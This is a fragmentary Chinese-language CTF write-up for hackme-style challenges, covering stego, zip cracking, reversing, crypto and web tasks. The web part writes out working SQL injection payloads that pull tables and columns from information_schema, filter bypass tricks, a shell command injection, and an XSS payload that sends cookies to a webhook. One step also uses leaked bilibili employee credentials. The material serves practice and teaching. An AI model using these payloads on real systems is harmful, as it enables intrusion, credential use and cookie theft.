FLAG{This is flag's format}
Did you tried LSB?
stegsolve
FLAG
即可看到 FLAG。00000000.png
和壓縮檔 00000094.zip
。unzip -v 00000094.zip
分析,得到 CRC 值為cdad52bd
。00000000.png
也壓縮,並查看 CRC 值發現一樣。
zip plain.zip 00000000.png
unzip -v plain.zip
./pkcrack -C 00000094.zip -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P plain.zip -p 00000000.png -d result.zip -a
flag.xz
,解壓縮後會得到檔案flag
,裡面有一堆很像 Flag 的東西。FLAG{
}
{} [] ()
這些符號。FLAG{[^\{\}\(\)\[\]]+}
@
,只有一個純英文數字。@
也加入 regex 排除,不過我這邊就直接丟答案了。nc
連到 server,實際連上去之後會跟我們說 Flag 格式是 FLAG\{[0-9A-Z_]+\}
123
和有符合格式的 FLAG{123}
,回傳 Bye 的時間有所差異。
0
和 1
。You must be a employee from bilibili!
,看來要使用員工的格式才有用。bilibili employee format
後得知帳號格式為XXX@bilibili.com
,輸入後得到提示Do you like golang? We use golang for our service and it was opensourced.
。gitbhu openbilibili
後可以找到一堆大家備份下來的數據庫XDapp/admin/ep/melloi/cmd/convey-test.toml
的 mail 裡面那組是能用的。id=XXX
,含有 sqli 攻擊的可能。UNION
確認資料列的數量:
mod=read&id=-1 UNION SELECT 1...
mod=read&id=-1 UNION SELECT 1,2,3,4
這個有顯示出東西,代表資料有四列。id=-1 UNION SELECT 1,2,3,database()
4
的地方變成了 g8
,代表 database 名稱為 g8
。information_schema
偷資料。
SELECT table_name FROM information_schema.tables WHERE table_schema='資料庫名稱'
找到資料表中的列表,再利用 limit
可以顯示出資料。id=-1 UNION SELECT 1,2,3,(SELECT table_name FROM information_schema.tables WHERE table_schema='g8' limit 0,1)
flag
的 table,很像我們要的。information_schema
找出 flag 這個 table 中有那些欄位:
select column_name from information_schema.columns where table_name='flag' limit '偏移量',1
id=-1 union select 1,(select column_name from information_schema.columns where table_name='flag' limit 1,1),3,4#
發現裡面有個欄位叫 flag,應該就是我們要的。flag
中的 flag
這個欄位的資料,因為不知道資料是哪一個所以一樣用 limit
來偏移:
id=-1 union select 1,(select flag from flag limit '偏移量',1),3,4#
id=-1 union select 1,(select flag from flag limit 1,1),3,4#
0
和 2
的欄位是貓貓gif XDDlfi/?page=pages/<XXX>
,看起來就很 LFI https://ctf.hackme.quest/lfi/?page=pages/login
admin
,但密碼是經過 md5 的 hash 值,要怎麼知道呢?
passw0rd
homepage
了,所以就到主頁面看看。$0
不過沒有 ban 單純 $
這個字
$(ls)
可以看到注入成功,當前目錄有 flag.php$2
可以當作分隔用的字(因為參數 2 沒有任何東西)$(c$2at f*)
,得到 Flagscoreboard/
這個封包的 Response Header 裡面。or 1=1
drop
update
delete
,然後單引號會被加上反斜線,基本上有擋跟沒擋一樣
or 1=1
可以用 or 2=2
或是 || 1=1
來 bypass\'OR 2=2 #
/ asd
就可以登入了,但登入後卻顯示我不是 admin 拿不到 flagis_admin
來判斷是否為 admin,因此我們需要過濾出是 admin 的那一筆資料
\'OR 2=2 limit 1,1#
flag2 in the database!
,表示這一題其實還有第二個隱藏 flag
Hi, admin
的字樣,懷疑這裡的 admin 是從 database 拉出來的
\'AND 1=2 union select 1,2,3,4 #
Hi, 2
,代表第二個欄位會顯示出來,可以利用\'AND 1=2 union select 1,password,3,4 from user limit 1,1#
password length is the key to secure your system
,看起來不是 flag\'OR 2=2 limit 2,1#
出現 Hi, inndy
\'AND 1=2 union select 1,password,3,4 from user limit 2,1#
meow~~~~~~~i am not admin
,看來 flag 在其他表裡面\'AND 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=database() limit 0,1#
h1dden_f14g
\'AND 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name=0x68316464656e5f66313467 limit 0,1#
the_f14g
\'AND 1=2 union select 1,the_f14g,3,4 from h1dden_f14g limit 0,1#
(空格)1=1
''
union select
select
/**/
代替掉空格\'OR/**/2=2/**/limit/**/1,1#
location.href = <WEBHOOK> + '?' + document.cookie
<scirpt>
的標籤會被禁止
<svg/onload=<JSCODE>>
這個 payload 可以使用location.href
被禁止
wget
下載題目,用 chmod +x
新增執行權限。file
指令看一下,發現它沒有 strip,直接用 Ghidra 逆向看看。main()
裡面對一個變數先 scanf
又做 if
判斷,很像我們要的東西,將 if
判斷中的數字輸入即可得到 Flag。main
之後看到它是將 input 字串每個字元+1,最後比對字串 UIJT.JT.ZPVS.GMBH
。
UIJT.JT.ZPVS.GMBH
全部減一即可。main
有點複雜,可以直接找到 Let me check your flag:
的部分往下看。
F
,然後做一連串的檢查。
FLAG{????}
,只要前面正確就會輸出 Good flag :)
,否則 Not the flag!
。.pyc
檔案,Google 一下發現是 python 編譯後的檔案。c
並且比較是否和 l
相等。c = l
,執行得到 Flag。What's your flag?
的字串,我們可以先 Search -> For Strings… 找出所有字串的記憶體位置,然後再對該字串按Ctrl + Shift + F
做 Cross reference 搜尋,快速找到哪個 Function 使用到該字串,而該 Function 就是 main
Function。main
中的 19
行做了 input 的讀取,然後後面做了 SHA512,最後做了兩次看起來像 Check Funtcion 的東西後輸出結果。
L
可修改名稱。TABLE
回推出 str
到底是什麼,先從 Ghidra 去調 TABLE
TABLE
按兩下會跳到他的記憶體區段,然後上面的 code 第 15
行可以知道是用 int 當作單位。TABLE
區段,右鍵 Data -> int 就可以轉換。nc hackme.inndy.tw 7709
連到 server 上。plz capture the flag after 5 seconds...
並開始倒數。
ls
得到 flag
run.sh
shell
三個檔案,但其他指令都沒有反應。cat flag
即可。526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d
,先將其做 HexDecode 再做 base64Decode 即可。EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}
,有一點 sense 就知道只是 shift 而已。Nm@rmLsBy{Nm5u-K{iZKPgPMzS2I*lPc%_SMOjQ#O;uV{MM*?PPFhk|Hd;hVPFhq{HaAH<
,提示使用 python3 的 base64 套件。IZGECR33IRXSA6LPOUQGW3TPO4QGEYLTMUZTEIDFNZRW6ZDJNZTT67I=
。MTHJ{CWTNXRJCUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}
,並告訴你說使用替換加密法。vigenere cipher online without key
找到線上工具
Good Plain Text!
就噴錯跳出AES_encrypt(Plain) = "Good Plain Text!"
,反過來得到Plain = AES_decrypt("Good Plain Text!")
Yes I know
,輸入後出現10000
行題目,要在時間內回答完畢才能得到 Flag。sendline(eval(XXX))
的方式是失敗的。CTF